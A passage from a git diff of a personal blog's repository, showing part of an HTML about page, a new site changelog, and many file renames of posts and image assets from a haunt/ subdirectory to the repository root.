href="https://en.wikipedia.org/wiki/OpenWrt">OpenWRT</a> hooked up to a NetGear CM1000. +</p> + +<p> +I wear a Casio DBC-611-1 everywhere I go. +</p> + +<p> +And I've got a handful of other random SBCs and retro hardware that I don't regularly use: +</p> + +<ul class="org-ul"> +<li>SeeedStudio BeagleBone Green</li> +<li>Raspberry Pi 2 Model B</li> +<li>Commodore 64</li> +<li>Commodore VIC-20</li> +<li>Nintendo Super Famicom</li> +<li>Nintendo 64</li> +<li>Sega Dreamcast</li> +</ul> +</div> +</div> +<div id="outline-container-orgd6eea28" class="outline-3"> +<h3 id="orgd6eea28">Machines (Out-Of-Commission)</h3> +<div class="outline-text-3" id="text-orgd6eea28"> +</div> +<div id="outline-container-orgd621c3b" class="outline-4"> +<h4 id="orgd621c3b">whitecloud (Laptop)</h4> +<div class="outline-text-4" id="text-orgd621c3b"> +<p> +This was a fine daily driver for a little while. I eventually gave up on using +it because of the weak battery controller, the buggy keyboard firmware that I +couldn't re-flash, and eventually wanting to be able to do things more +computationally-intensive than run GNU Emacs. +</p> + +<table> + + +<colgroup> +<col class="org-left" /> + +<col class="org-left" /> +</colgroup> +<tbody> +<tr> +<td class="org-left">Hardware</td> +<td class="org-left">Pinebook Pro</td> +</tr> + +<tr> +<td class="org-left">• CPU</td> +<td class="org-left">4 x ARM Cortex A53 cores @ 1.4GHz + 2 x ARM Cortex A72 cores @ 1.8 GHz</td> +</tr> + +<tr> +<td class="org-left">• GPU</td> +<td class="org-left">ARM Mali T860 MP4 GPU</td> +</tr> + +<tr> +<td class="org-left">• RAM</td> +<td class="org-left">4GB LPDDR4 RAM</td> +</tr> + +<tr> +<td class="org-left">Operating System</td> +<td class="org-left">Gentoo GNU/Linux</td> +</tr> +</tbody> +</table> +</div> +</div> +<div id="outline-container-org84b365d" class="outline-4"> +<h4 id="org84b365d">vela (Cellphone)</h4> +<div class="outline-text-4" id="text-org84b365d"> +<p> +The subject of <a href="https://jakob.space/blog/i-love-my-pinephone.html">this blog post</a>. It was a great daily driver for almost a year, but I was really desiring something more powerful, and the Braveheart Edition I have has some really unsavory hardware issues. +</p> + +<table> + + +<colgroup> +<col class="org-left" /> + +<col class="org-left" /> +</colgroup> +<tbody> +<tr> +<td class="org-left">Hardware</td> +<td class="org-left">PINE64 Pinephone (Braveheart Edition)</td> +</tr> + +<tr> +<td class="org-left">• CPU</td> +<td class="org-left">Allwinner A64 @ 1.152 GHz</td> +</tr> + +<tr> +<td class="org-left">• GPU</td> +<td class="org-left">ARM Mali-400 MP2</td> +</tr> + +<tr> +<td class="org-left">• RAM</td> +<td class="org-left">2GB LPDDR4 RAM</td> +</tr> + +<tr> +<td class="org-left">Operating System</td> +<td class="org-left">PostmarketOS (Phosh)</td> +</tr> +</tbody> +</table> +</div> +</div> +</div> +</div> +<div id="outline-container-org4d2ddee" class="outline-2"> +<h2 id="org4d2ddee">Other Bits and Pieces</h2> +<div class="outline-text-2" id="text-org4d2ddee"> +<p> +I'm a vocal supporter of open access and the free software movement. I'm an associate member of the <a href="https://www.fsf.org/">Free Software Foundation</a> and I contribute to <a href="https://en.wikipedia.org/wiki/User:ZeroDaysForDays">Wikimedia</a> and <a href="https://www.openstreetmap.org/user/Jakob%20Kreuze">OpenStreetMap</a>. +</p> + +<p> +I am a licensed (general class) ham, but I am rarely active. My callsign is KR3UZE. +</p> +</div> +</div> +</div> diff --git a/haunt/pages/about-complete.sxml b/pages/about-complete.sxml index f6cd8e2..f6cd8e2 100644 --- a/haunt/pages/about-complete.sxml +++ b/pages/about-complete.sxml diff --git a/haunt/pages/about.sxml b/pages/about.sxml index e5e8592..e5e8592 100644 --- a/haunt/pages/about.sxml +++ b/pages/about.sxml diff --git a/pages/changelog.html b/pages/changelog.html new file mode 100644 index 0000000..b479c15 --- /dev/null +++ b/pages/changelog.html @@ -0,0 +1,81 @@ +--- +<div id="outline-container-org42b226c" class="outline-1"> +<h1 id="org42b226c">Site Changelog</h1> +<div class="outline-text-1" id="text-org42b226c"> +<p> +A record of any notable user-facing changes made to this website. For more detail, refer to the log of the <a href="https://git.sr.ht/~jakob/blog">Git repository</a>. +</p> +</div> +<div id="outline-container-orgd3c17f9" class="outline-2"> +<h2 id="orgd3c17f9">Sunday, December 24, 2023</h2> +<div class="outline-text-2" id="text-orgd3c17f9"> +<ul class="org-ul"> +<li>Updated the header bar. I don't see the point in having a user-facing link to the Atom feed, since any reader software worth its weight will be able to pick up on my site having a feed automatically.</li> +</ul> +</div> +</div> +<div id="outline-container-org721a882" class="outline-2"> +<h2 id="org721a882">Monday, August 28, 2023</h2> +<div class="outline-text-2" id="text-org721a882"> +<ul class="org-ul"> +<li>Updated comment UI.</li> +</ul> +</div> +</div> +<div id="outline-container-org45dd2f0" class="outline-2"> +<h2 id="org45dd2f0">Sunday, August 27, 2023</h2> +<div class="outline-text-2" id="text-org45dd2f0"> +<ul class="org-ul"> +<li>Fixed bug with comment reaction system where pressing the "react" button multiple times would lead to multiple selector widgets being created.</li> +</ul> +</div> +</div> +<div id="outline-container-org34dec0a" class="outline-2"> +<h2 id="org34dec0a">Saturday, August 12, 2023</h2> +<div class="outline-text-2" id="text-org34dec0a"> +<ul class="org-ul"> +<li>Added cheesy rhymes to the user-facing status code pages.</li> +<li>Enabled partial API access for Tor and i2p visitors. +<ul class="org-ul"> +<li>Comments received through these tunnels are marked as such.</li> +</ul></li> +</ul> +</div> +</div> +<div id="outline-container-org01aeb23" class="outline-2"> +<h2 id="org01aeb23">Friday, August 11, 2023</h2> +<div class="outline-text-2" id="text-org01aeb23"> +<ul class="org-ul"> +<li>Fixed custom error documents.</li> +<li>Stood up static content mirrors on <a href="http://jakobyallfrbd3herebyee7hug3hxs2ma6aflmmllk35d7dyiwp3adid.onion/">Tor</a> and <a href="http://mtgqjdrqqpovyhx7tortulrnvakbptsi3w5yintmo6lqapdd3hnq.b32.i2p">i2p</a>.</li> +</ul> +</div> +</div> +<div id="outline-container-org8599ffb" class="outline-2"> +<h2 id="org8599ffb">Saturday, August 5, 2023</h2> +<div class="outline-text-2" id="text-org8599ffb"> +<ul class="org-ul"> +<li>Began maintaining a changelog.</li> +<li>Pulled in <a href="https://pagefind.app/">pagefind</a> for self-hosted search.</li> +<li>Updated <a href="https://en.wikipedia.org/wiki/Atom_(web_standard)">Atom</a> feed to include only the first paragraph of the post in the <code><summary></code> section. +<ul class="org-ul"> +<li>This <i>drastically</i> reduces the size of <code>feed.xml</code>. Hopefully it makes pulling a little less painful for those subscribed.</li> +</ul></li> +<li>Re-implemented RSVP and gallery using server-side rendering. +<ul class="org-ul"> +<li>These are features the typical reader would not have used. They're described in detail <a href="https://jakob.space/blog/pushing-haunt-to-its-limits.html">here</a>, but the short is that they're things I use for my meatspace friends.</li> +</ul></li> +<li>Updated the <a href="https://jakob.space/pages/about-complete.html">long-form biographical page</a>. +<ul class="org-ul"> +<li>Updated a couple of biographical details that were no longer accurate.</li> +<li>Now written in <a href="https://git.sr.ht/~jakob/blog/tree/master/item/org/pages/about-complete.org">Org</a>.</li> +</ul></li> +<li>Updated the <a href="https://jakob.space/pages/about.html">short-form biographical page</a>. +<ul class="org-ul"> +<li>Got rid of the "projects" section and my CTF team history.</li> +</ul></li> +<li>Minor adjustments to the the front-matter of <a href="https://jakob.space/blog/pushing-haunt-to-its-limits.html">Pushing Haunt to Its Limits</a>.</li> +</ul> +</div> +</div> +</div> diff --git a/haunt/pages/changelog.sxml b/pages/changelog.sxml index 0fe5341..0fe5341 100644 --- a/haunt/pages/changelog.sxml +++ b/pages/changelog.sxml diff --git a/haunt/pages/status-400.sxml b/pages/status-400.sxml index 0bbf2b7..0bbf2b7 100644 --- a/haunt/pages/status-400.sxml +++ b/pages/status-400.sxml diff --git a/haunt/pages/status-403.sxml b/pages/status-403.sxml index 47db444..47db444 100644 --- a/haunt/pages/status-403.sxml +++ b/pages/status-403.sxml diff --git a/haunt/pages/status-404.sxml b/pages/status-404.sxml index 244bde2..244bde2 100644 --- a/haunt/pages/status-404.sxml +++ b/pages/status-404.sxml diff --git a/haunt/pages/status-429.sxml b/pages/status-429.sxml index 6503bec..6503bec 100644 --- a/haunt/pages/status-429.sxml +++ b/pages/status-429.sxml diff --git a/haunt/pages/status-500.sxml b/pages/status-500.sxml index 62f2305..62f2305 100644 --- a/haunt/pages/status-500.sxml +++ b/pages/status-500.sxml diff --git a/haunt/pages/weblabels.sxml b/pages/weblabels.sxml index 9c2c4fc..9c2c4fc 100644 --- a/haunt/pages/weblabels.sxml +++ b/pages/weblabels.sxml diff --git a/haunt/posts-assets/Lisp Kludge.png b/posts-assets/Lisp Kludge.png Binary files differindex 9c244b9..9c244b9 100644 --- a/haunt/posts-assets/Lisp Kludge.png +++ b/posts-assets/Lisp Kludge.png diff --git a/haunt/posts-assets/MyrddinHeap.svg b/posts-assets/MyrddinHeap.svg index b5261bf..b5261bf 100644 --- a/haunt/posts-assets/MyrddinHeap.svg +++ b/posts-assets/MyrddinHeap.svg diff --git a/haunt/posts-assets/bad-behavior-debug-prints.png b/posts-assets/bad-behavior-debug-prints.png Binary files differindex 538ccec..538ccec 100644 --- a/haunt/posts-assets/bad-behavior-debug-prints.png +++ b/posts-assets/bad-behavior-debug-prints.png diff --git a/haunt/posts-assets/bad-behavior-vanilla-hexen-vulnerability.png b/posts-assets/bad-behavior-vanilla-hexen-vulnerability.png Binary files differindex 510cf5f..510cf5f 100644 --- a/haunt/posts-assets/bad-behavior-vanilla-hexen-vulnerability.png +++ b/posts-assets/bad-behavior-vanilla-hexen-vulnerability.png diff --git a/haunt/posts-assets/dollar-bin-reverse-engineering-firmware-mod.jpg b/posts-assets/dollar-bin-reverse-engineering-firmware-mod.jpg Binary files differindex 0b2302e..0b2302e 100644 --- a/haunt/posts-assets/dollar-bin-reverse-engineering-firmware-mod.jpg +++ b/posts-assets/dollar-bin-reverse-engineering-firmware-mod.jpg diff --git a/haunt/posts-assets/dollar-bin-reverse-engineering-m2.jpg b/posts-assets/dollar-bin-reverse-engineering-m2.jpg Binary files differindex 25aefdb..25aefdb 100644 --- a/haunt/posts-assets/dollar-bin-reverse-engineering-m2.jpg +++ b/posts-assets/dollar-bin-reverse-engineering-m2.jpg diff --git a/haunt/posts-assets/dollar-bin-reverse-engineering-mac.jpg b/posts-assets/dollar-bin-reverse-engineering-mac.jpg Binary files differindex 2c66f31..2c66f31 100644 --- a/haunt/posts-assets/dollar-bin-reverse-engineering-mac.jpg +++ b/posts-assets/dollar-bin-reverse-engineering-mac.jpg diff --git a/haunt/posts-assets/dollar-bin-reverse-engineering-manual.jpg b/posts-assets/dollar-bin-reverse-engineering-manual.jpg Binary files differindex 731735a..731735a 100644 --- a/haunt/posts-assets/dollar-bin-reverse-engineering-manual.jpg +++ b/posts-assets/dollar-bin-reverse-engineering-manual.jpg diff --git a/haunt/posts-assets/flipper-zero-hello-world.jpg b/posts-assets/flipper-zero-hello-world.jpg Binary files differindex c072316..c072316 100644 --- a/haunt/posts-assets/flipper-zero-hello-world.jpg +++ b/posts-assets/flipper-zero-hello-world.jpg diff --git a/haunt/posts-assets/forge-1-1.png b/posts-assets/forge-1-1.png Binary files differindex 0fbe29e..0fbe29e 100644 --- a/haunt/posts-assets/forge-1-1.png +++ b/posts-assets/forge-1-1.png diff --git a/haunt/posts-assets/forge-1-2.png b/posts-assets/forge-1-2.png Binary files differindex 9196000..9196000 100644 --- a/haunt/posts-assets/forge-1-2.png +++ b/posts-assets/forge-1-2.png diff --git a/haunt/posts-assets/forge-1-3.png b/posts-assets/forge-1-3.png Binary files differindex 634939c..634939c 100644 --- a/haunt/posts-assets/forge-1-3.png +++ b/posts-assets/forge-1-3.png diff --git a/haunt/posts-assets/forge-1-4.png b/posts-assets/forge-1-4.png Binary files differindex da6832e..da6832e 100644 --- a/haunt/posts-assets/forge-1-4.png +++ b/posts-assets/forge-1-4.png diff --git a/haunt/posts-assets/gtkcord4-on-pinephone.png b/posts-assets/gtkcord4-on-pinephone.png Binary files differindex 45cb2b3..45cb2b3 100644 --- a/haunt/posts-assets/gtkcord4-on-pinephone.png +++ b/posts-assets/gtkcord4-on-pinephone.png diff --git a/haunt/posts-assets/kona-1.jpg b/posts-assets/kona-1.jpg Binary files differindex 79d40dc..79d40dc 100644 --- a/haunt/posts-assets/kona-1.jpg +++ b/posts-assets/kona-1.jpg diff --git a/haunt/posts-assets/kona-2.jpg b/posts-assets/kona-2.jpg Binary files differindex 4ce3d51..4ce3d51 100644 --- a/haunt/posts-assets/kona-2.jpg +++ b/posts-assets/kona-2.jpg diff --git a/haunt/posts-assets/kona-3.jpg b/posts-assets/kona-3.jpg Binary files differindex 16d2b2c..16d2b2c 100644 --- a/haunt/posts-assets/kona-3.jpg +++ b/posts-assets/kona-3.jpg diff --git a/haunt/posts-assets/kona-4.jpg b/posts-assets/kona-4.jpg Binary files differindex 19e7af9..19e7af9 100644 --- a/haunt/posts-assets/kona-4.jpg +++ b/posts-assets/kona-4.jpg diff --git a/haunt/posts-assets/lisp-personality-test.png b/posts-assets/lisp-personality-test.png Binary files differindex c3a26f3..c3a26f3 100644 --- a/haunt/posts-assets/lisp-personality-test.png +++ b/posts-assets/lisp-personality-test.png diff --git a/haunt/posts-assets/logo.png b/posts-assets/logo.png Binary files differindex 8898c6d..8898c6d 100644 --- a/haunt/posts-assets/logo.png +++ b/posts-assets/logo.png diff --git a/haunt/posts-assets/making-your-own-music-player-analog-vs-digital.png b/posts-assets/making-your-own-music-player-analog-vs-digital.png Binary files differindex 6841598..6841598 100644 --- a/haunt/posts-assets/making-your-own-music-player-analog-vs-digital.png +++ b/posts-assets/making-your-own-music-player-analog-vs-digital.png diff --git a/haunt/posts-assets/mitmproxy-initial.png b/posts-assets/mitmproxy-initial.png Binary files differindex 3b022e7..3b022e7 100644 --- a/haunt/posts-assets/mitmproxy-initial.png +++ b/posts-assets/mitmproxy-initial.png diff --git a/haunt/posts-assets/music-on-zeta.png b/posts-assets/music-on-zeta.png Binary files differindex f48d984..f48d984 100644 --- a/haunt/posts-assets/music-on-zeta.png +++ b/posts-assets/music-on-zeta.png diff --git a/haunt/posts-assets/old-webmention-screenshot.png b/posts-assets/old-webmention-screenshot.png Binary files differindex 6c4f015..6c4f015 100644 --- a/haunt/posts-assets/old-webmention-screenshot.png +++ b/posts-assets/old-webmention-screenshot.png diff --git a/haunt/posts-assets/openxcom-on-pinephone.png b/posts-assets/openxcom-on-pinephone.png Binary files differindex a7e383e..a7e383e 100644 --- a/haunt/posts-assets/openxcom-on-pinephone.png +++ b/posts-assets/openxcom-on-pinephone.png diff --git a/haunt/posts-assets/pinephone-1.jpg b/posts-assets/pinephone-1.jpg Binary files differindex 2577260..2577260 100644 --- a/haunt/posts-assets/pinephone-1.jpg +++ b/posts-assets/pinephone-1.jpg diff --git a/haunt/posts-assets/pinephone-2.jpg b/posts-assets/pinephone-2.jpg Binary files differindex 524e93d..524e93d 100644 --- a/haunt/posts-assets/pinephone-2.jpg +++ b/posts-assets/pinephone-2.jpg diff --git a/haunt/posts-assets/pinephone-3.jpg b/posts-assets/pinephone-3.jpg Binary files differindex 3a26eb3..3a26eb3 100644 --- a/haunt/posts-assets/pinephone-3.jpg +++ b/posts-assets/pinephone-3.jpg diff --git a/haunt/posts-assets/pinephone-4.jpg b/posts-assets/pinephone-4.jpg Binary files differindex fc7051b..fc7051b 100644 --- a/haunt/posts-assets/pinephone-4.jpg +++ b/posts-assets/pinephone-4.jpg diff --git a/haunt/posts-assets/pinephone-5.jpg b/posts-assets/pinephone-5.jpg Binary files differindex bb8e59b..bb8e59b 100644 --- a/haunt/posts-assets/pinephone-5.jpg +++ b/posts-assets/pinephone-5.jpg diff --git a/haunt/posts-assets/pinephone-6.jpg b/posts-assets/pinephone-6.jpg Binary files differindex 13cbb00..13cbb00 100644 --- a/haunt/posts-assets/pinephone-6.jpg +++ b/posts-assets/pinephone-6.jpg diff --git a/haunt/posts-assets/pinephone-7.jpg b/posts-assets/pinephone-7.jpg Binary files differindex 8af4519..8af4519 100644 --- a/haunt/posts-assets/pinephone-7.jpg +++ b/posts-assets/pinephone-7.jpg diff --git a/haunt/posts-assets/pinephone-running-emacs.png b/posts-assets/pinephone-running-emacs.png Binary files differindex 86e7692..86e7692 100644 --- a/haunt/posts-assets/pinephone-running-emacs.png +++ b/posts-assets/pinephone-running-emacs.png diff --git a/haunt/posts-assets/pinephone-running-mpv.png b/posts-assets/pinephone-running-mpv.png Binary files differindex 5cb71b5..5cb71b5 100644 --- a/haunt/posts-assets/pinephone-running-mpv.png +++ b/posts-assets/pinephone-running-mpv.png diff --git a/haunt/posts-assets/ret2emacs-overlay-demo.png b/posts-assets/ret2emacs-overlay-demo.png Binary files differindex 70c6c8e..70c6c8e 100644 --- a/haunt/posts-assets/ret2emacs-overlay-demo.png +++ b/posts-assets/ret2emacs-overlay-demo.png diff --git a/haunt/posts-assets/reverse-engineering-babbys-first-archive-format-basic-parsing.png b/posts-assets/reverse-engineering-babbys-first-archive-format-basic-parsing.png Binary files differindex 0513350..0513350 100644 --- a/haunt/posts-assets/reverse-engineering-babbys-first-archive-format-basic-parsing.png +++ b/posts-assets/reverse-engineering-babbys-first-archive-format-basic-parsing.png diff --git a/haunt/posts-assets/reverse-engineering-babbys-first-archive-format-binary-dump.png b/posts-assets/reverse-engineering-babbys-first-archive-format-binary-dump.png Binary files differindex 0a8774c..0a8774c 100644 --- a/haunt/posts-assets/reverse-engineering-babbys-first-archive-format-binary-dump.png +++ b/posts-assets/reverse-engineering-babbys-first-archive-format-binary-dump.png diff --git a/haunt/posts-assets/reverse-engineering-babbys-first-archive-format-catching-file-reads.png b/posts-assets/reverse-engineering-babbys-first-archive-format-catching-file-reads.png Binary files differindex 2ce8f62..2ce8f62 100644 --- a/haunt/posts-assets/reverse-engineering-babbys-first-archive-format-catching-file-reads.png +++ b/posts-assets/reverse-engineering-babbys-first-archive-format-catching-file-reads.png diff --git a/haunt/posts-assets/reverse-engineering-babbys-first-archive-format-xp3-header.png b/posts-assets/reverse-engineering-babbys-first-archive-format-xp3-header.png Binary files differindex 0fac996..0fac996 100644 --- a/haunt/posts-assets/reverse-engineering-babbys-first-archive-format-xp3-header.png +++ b/posts-assets/reverse-engineering-babbys-first-archive-format-xp3-header.png diff --git a/haunt/posts-assets/rsvp-screenshot.png b/posts-assets/rsvp-screenshot.png Binary files differindex 9e18992..9e18992 100644 --- a/haunt/posts-assets/rsvp-screenshot.png +++ b/posts-assets/rsvp-screenshot.png diff --git a/haunt/posts-assets/sdl-tutorial-part-0x00-finished-window.png b/posts-assets/sdl-tutorial-part-0x00-finished-window.png Binary files differindex 4e9a146..4e9a146 100644 --- a/haunt/posts-assets/sdl-tutorial-part-0x00-finished-window.png +++ b/posts-assets/sdl-tutorial-part-0x00-finished-window.png diff --git a/haunt/posts-assets/sdl-tutorial-part-0x00-window.png b/posts-assets/sdl-tutorial-part-0x00-window.png Binary files differindex 0bbe5fc..0bbe5fc 100644 --- a/haunt/posts-assets/sdl-tutorial-part-0x00-window.png +++ b/posts-assets/sdl-tutorial-part-0x00-window.png diff --git a/haunt/posts-assets/shellbot-propagation.jpg b/posts-assets/shellbot-propagation.jpg Binary files differindex 342364c..342364c 100644 --- a/haunt/posts-assets/shellbot-propagation.jpg +++ b/posts-assets/shellbot-propagation.jpg diff --git a/haunt/posts-assets/sorry-guys-i-have-to-troubleshoot-my-usb-drivers-before-i-can-play-wireshark.png b/posts-assets/sorry-guys-i-have-to-troubleshoot-my-usb-drivers-before-i-can-play-wireshark.png Binary files differindex 2d993af..2d993af 100644 --- a/haunt/posts-assets/sorry-guys-i-have-to-troubleshoot-my-usb-drivers-before-i-can-play-wireshark.png +++ b/posts-assets/sorry-guys-i-have-to-troubleshoot-my-usb-drivers-before-i-can-play-wireshark.png diff --git a/haunt/posts-assets/tunes-on-home-screen.png b/posts-assets/tunes-on-home-screen.png Binary files differindex 7cd1dc0..7cd1dc0 100644 --- a/haunt/posts-assets/tunes-on-home-screen.png +++ b/posts-assets/tunes-on-home-screen.png diff --git a/haunt/posts-assets/tunes-on-pinephone.png b/posts-assets/tunes-on-pinephone.png Binary files differindex 06441a8..06441a8 100644 --- a/haunt/posts-assets/tunes-on-pinephone.png +++ b/posts-assets/tunes-on-pinephone.png diff --git a/haunt/posts-assets/tunes-on-workstation.png b/posts-assets/tunes-on-workstation.png Binary files differindex 1501d64..1501d64 100644 --- a/haunt/posts-assets/tunes-on-workstation.png +++ b/posts-assets/tunes-on-workstation.png diff --git a/haunt/posts-assets/umass-ctf-2021-postmortem-1.png b/posts-assets/umass-ctf-2021-postmortem-1.png Binary files differindex 1bee126..1bee126 100644 --- a/haunt/posts-assets/umass-ctf-2021-postmortem-1.png +++ b/posts-assets/umass-ctf-2021-postmortem-1.png diff --git a/haunt/posts-assets/umass-ctf-2021-postmortem-2.png b/posts-assets/umass-ctf-2021-postmortem-2.png Binary files differindex 7f12ad1..7f12ad1 100644 --- a/haunt/posts-assets/umass-ctf-2021-postmortem-2.png +++ b/posts-assets/umass-ctf-2021-postmortem-2.png diff --git a/haunt/posts-assets/warp-mvp.png b/posts-assets/warp-mvp.png Binary files differindex 14c7f0b..14c7f0b 100644 --- a/haunt/posts-assets/warp-mvp.png +++ b/posts-assets/warp-mvp.png diff --git a/haunt/posts-assets/web-server-traffic.jpg b/posts-assets/web-server-traffic.jpg Binary files differindex f24ea09..f24ea09 100644 --- a/haunt/posts-assets/web-server-traffic.jpg +++ b/posts-assets/web-server-traffic.jpg diff --git a/haunt/posts/.dir-locals.el b/posts/.dir-locals.el index 211fd8b..211fd8b 100644 --- a/haunt/posts/.dir-locals.el +++ b/posts/.dir-locals.el diff --git a/haunt/posts/analyzing-executable-size-part-0.org b/posts/analyzing-executable-size-part-0.org index aa65f9f..aa65f9f 100644 --- a/haunt/posts/analyzing-executable-size-part-0.org +++ b/posts/analyzing-executable-size-part-0.org diff --git a/haunt/posts/backdoorctf-2017-funsignals.org b/posts/backdoorctf-2017-funsignals.org index ab8941c..ab8941c 100644 --- a/haunt/posts/backdoorctf-2017-funsignals.org +++ b/posts/backdoorctf-2017-funsignals.org diff --git a/haunt/posts/bad-behavior.org b/posts/bad-behavior.org index a8658ff..a8658ff 100644 --- a/haunt/posts/bad-behavior.org +++ b/posts/bad-behavior.org diff --git a/haunt/posts/browser-games-aren-t-an-easy-target.org b/posts/browser-games-aren-t-an-easy-target.org index 37c0d74..37c0d74 100644 --- a/haunt/posts/browser-games-aren-t-an-easy-target.org +++ b/posts/browser-games-aren-t-an-easy-target.org diff --git a/haunt/posts/challenges-re-writeups-1.org b/posts/challenges-re-writeups-1.org index ec32560..ec32560 100644 --- a/haunt/posts/challenges-re-writeups-1.org +++ b/posts/challenges-re-writeups-1.org diff --git a/haunt/posts/challenges-re-writeups-2.org b/posts/challenges-re-writeups-2.org index cb185fc..cb185fc 100644 --- a/haunt/posts/challenges-re-writeups-2.org +++ b/posts/challenges-re-writeups-2.org diff --git a/haunt/posts/challenges-re-writeups-3.org b/posts/challenges-re-writeups-3.org index 1bf5cc0..1bf5cc0 100644 --- a/haunt/posts/challenges-re-writeups-3.org +++ b/posts/challenges-re-writeups-3.org diff --git a/haunt/posts/challenges-re-writeups-4.org b/posts/challenges-re-writeups-4.org index c80c27a..c80c27a 100644 --- a/haunt/posts/challenges-re-writeups-4.org +++ b/posts/challenges-re-writeups-4.org diff --git a/haunt/posts/decompilation-by-hand.org b/posts/decompilation-by-hand.org index 9c3a51f..9c3a51f 100644 --- a/haunt/posts/decompilation-by-hand.org +++ b/posts/decompilation-by-hand.org diff --git a/haunt/posts/dollar-bin-reverse-engineering.org b/posts/dollar-bin-reverse-engineering.org index dbf7ee7..dbf7ee7 100644 --- a/haunt/posts/dollar-bin-reverse-engineering.org +++ b/posts/dollar-bin-reverse-engineering.org diff --git a/haunt/posts/duke-on-fluidsynth.org b/posts/duke-on-fluidsynth.org index bc811a6..bc811a6 100644 --- a/haunt/posts/duke-on-fluidsynth.org +++ b/posts/duke-on-fluidsynth.org diff --git a/haunt/posts/farewell-kona.org b/posts/farewell-kona.org index 89206d9..89206d9 100644 --- a/haunt/posts/farewell-kona.org +++ b/posts/farewell-kona.org diff --git a/haunt/posts/first-impressions-of-the-kotlin-programming-language.org b/posts/first-impressions-of-the-kotlin-programming-language.org index 406d0a3..406d0a3 100644 --- a/haunt/posts/first-impressions-of-the-kotlin-programming-language.org +++ b/posts/first-impressions-of-the-kotlin-programming-language.org diff --git a/haunt/posts/first-impressions-of-the-myrddin-programming-language.org b/posts/first-impressions-of-the-myrddin-programming-language.org index a5c6662..a5c6662 100644 --- a/haunt/posts/first-impressions-of-the-myrddin-programming-language.org +++ b/posts/first-impressions-of-the-myrddin-programming-language.org diff --git a/haunt/posts/first-impressions-of-the-rust-programming-language.org b/posts/first-impressions-of-the-rust-programming-language.org index 4509038..4509038 100644 --- a/haunt/posts/first-impressions-of-the-rust-programming-language.org +++ b/posts/first-impressions-of-the-rust-programming-language.org diff --git a/haunt/posts/game-hacking-on-linux-scanmem.org b/posts/game-hacking-on-linux-scanmem.org index 5146a09..5146a09 100644 --- a/haunt/posts/game-hacking-on-linux-scanmem.org +++ b/posts/game-hacking-on-linux-scanmem.org diff --git a/haunt/posts/i-love-my-pinephone.org b/posts/i-love-my-pinephone.org index 346c103..346c103 100644 --- a/haunt/posts/i-love-my-pinephone.org +++ b/posts/i-love-my-pinephone.org diff --git a/haunt/posts/installing-gentoo-one-month-later.org b/posts/installing-gentoo-one-month-later.org index 427554f..427554f 100644 --- a/haunt/posts/installing-gentoo-one-month-later.org +++ b/posts/installing-gentoo-one-month-later.org diff --git a/haunt/posts/investigating-a-shellbot-aa-infection.org b/posts/investigating-a-shellbot-aa-infection.org index e48837d..e48837d 100644 --- a/haunt/posts/investigating-a-shellbot-aa-infection.org +++ b/posts/investigating-a-shellbot-aa-infection.org diff --git a/haunt/posts/making-your-own-music-player.org b/posts/making-your-own-music-player.org index f96d4a5..f96d4a5 100644 --- a/haunt/posts/making-your-own-music-player.org +++ b/posts/making-your-own-music-player.org diff --git a/haunt/posts/plaidctf-2019.org b/posts/plaidctf-2019.org index 836c7a6..836c7a6 100644 --- a/haunt/posts/plaidctf-2019.org +++ b/posts/plaidctf-2019.org diff --git a/haunt/posts/pushing-haunt-to-its-limits.org b/posts/pushing-haunt-to-its-limits.org index 5daf935..5daf935 100644 --- a/haunt/posts/pushing-haunt-to-its-limits.org +++ b/posts/pushing-haunt-to-its-limits.org diff --git a/haunt/posts/reverse-engineering-babbys-first-archive-format.org b/posts/reverse-engineering-babbys-first-archive-format.org index d817e30..d817e30 100644 --- a/haunt/posts/reverse-engineering-babbys-first-archive-format.org +++ b/posts/reverse-engineering-babbys-first-archive-format.org diff --git a/haunt/posts/rust-on-flipper-zero.org b/posts/rust-on-flipper-zero.org index 4b842bb..4b842bb 100644 --- a/haunt/posts/rust-on-flipper-zero.org +++ b/posts/rust-on-flipper-zero.org diff --git a/haunt/posts/sdl-tutorial-part-0x00.org b/posts/sdl-tutorial-part-0x00.org index 83cee0f..83cee0f 100644 --- a/haunt/posts/sdl-tutorial-part-0x00.org +++ b/posts/sdl-tutorial-part-0x00.org diff --git a/haunt/posts/slime-the-world-postmortem.org b/posts/slime-the-world-postmortem.org index ea14dcd..ea14dcd 100644 --- a/haunt/posts/slime-the-world-postmortem.org +++ b/posts/slime-the-world-postmortem.org diff --git a/haunt/posts/sorry-guys-i-have-to-troubleshoot-my-usb-drivers-before-i-can-play.org b/posts/sorry-guys-i-have-to-troubleshoot-my-usb-drivers-before-i-can-play.org index 6739faf..6739faf 100644 --- a/haunt/posts/sorry-guys-i-have-to-troubleshoot-my-usb-drivers-before-i-can-play.org +++ b/posts/sorry-guys-i-have-to-troubleshoot-my-usb-drivers-before-i-can-play.org diff --git a/haunt/posts/thoughts-on-lisps.org b/posts/thoughts-on-lisps.org index c2f72cd..c2f72cd 100644 --- a/haunt/posts/thoughts-on-lisps.org +++ b/posts/thoughts-on-lisps.org diff --git a/haunt/posts/towards-guix-for-devops.org b/posts/towards-guix-for-devops.org index 85d4525..85d4525 100644 --- a/haunt/posts/towards-guix-for-devops.org +++ b/posts/towards-guix-for-devops.org diff --git a/haunt/posts/transition-to-haunt.org b/posts/transition-to-haunt.org index 6dc2fac..6dc2fac 100644 --- a/haunt/posts/transition-to-haunt.org +++ b/posts/transition-to-haunt.org diff --git a/haunt/posts/umass-ctf-2020-writeup.org b/posts/umass-ctf-2020-writeup.org index f98f33a..f98f33a 100644 --- a/haunt/posts/umass-ctf-2020-writeup.org +++ b/posts/umass-ctf-2020-writeup.org diff --git a/haunt/posts/umass-ctf-2021-postmortem.org b/posts/umass-ctf-2021-postmortem.org index 2bc284c..2bc284c 100644 --- a/haunt/posts/umass-ctf-2021-postmortem.org +++ b/posts/umass-ctf-2021-postmortem.org diff --git a/haunt/posts/umass-ctf-2022.org b/posts/umass-ctf-2022.org index 61576c6..61576c6 100644 --- a/haunt/posts/umass-ctf-2022.org +++ b/posts/umass-ctf-2022.org diff --git a/haunt/posts/understand-game-hacking-in-one-post.org b/posts/understand-game-hacking-in-one-post.org index 0b2d291..0b2d291 100644 --- a/haunt/posts/understand-game-hacking-in-one-post.org +++ b/posts/understand-game-hacking-in-one-post.org diff --git a/haunt/posts/what-ive-learned-about-formal-methods.org b/posts/what-ive-learned-about-formal-methods.org index ca32956..ca32956 100644 --- a/haunt/posts/what-ive-learned-about-formal-methods.org +++ b/posts/what-ive-learned-about-formal-methods.org diff --git a/haunt/squee.scm b/squee.scm index 443fa09..443fa09 100644 --- a/haunt/squee.scm +++ b/squee.scm diff --git a/srfi-197 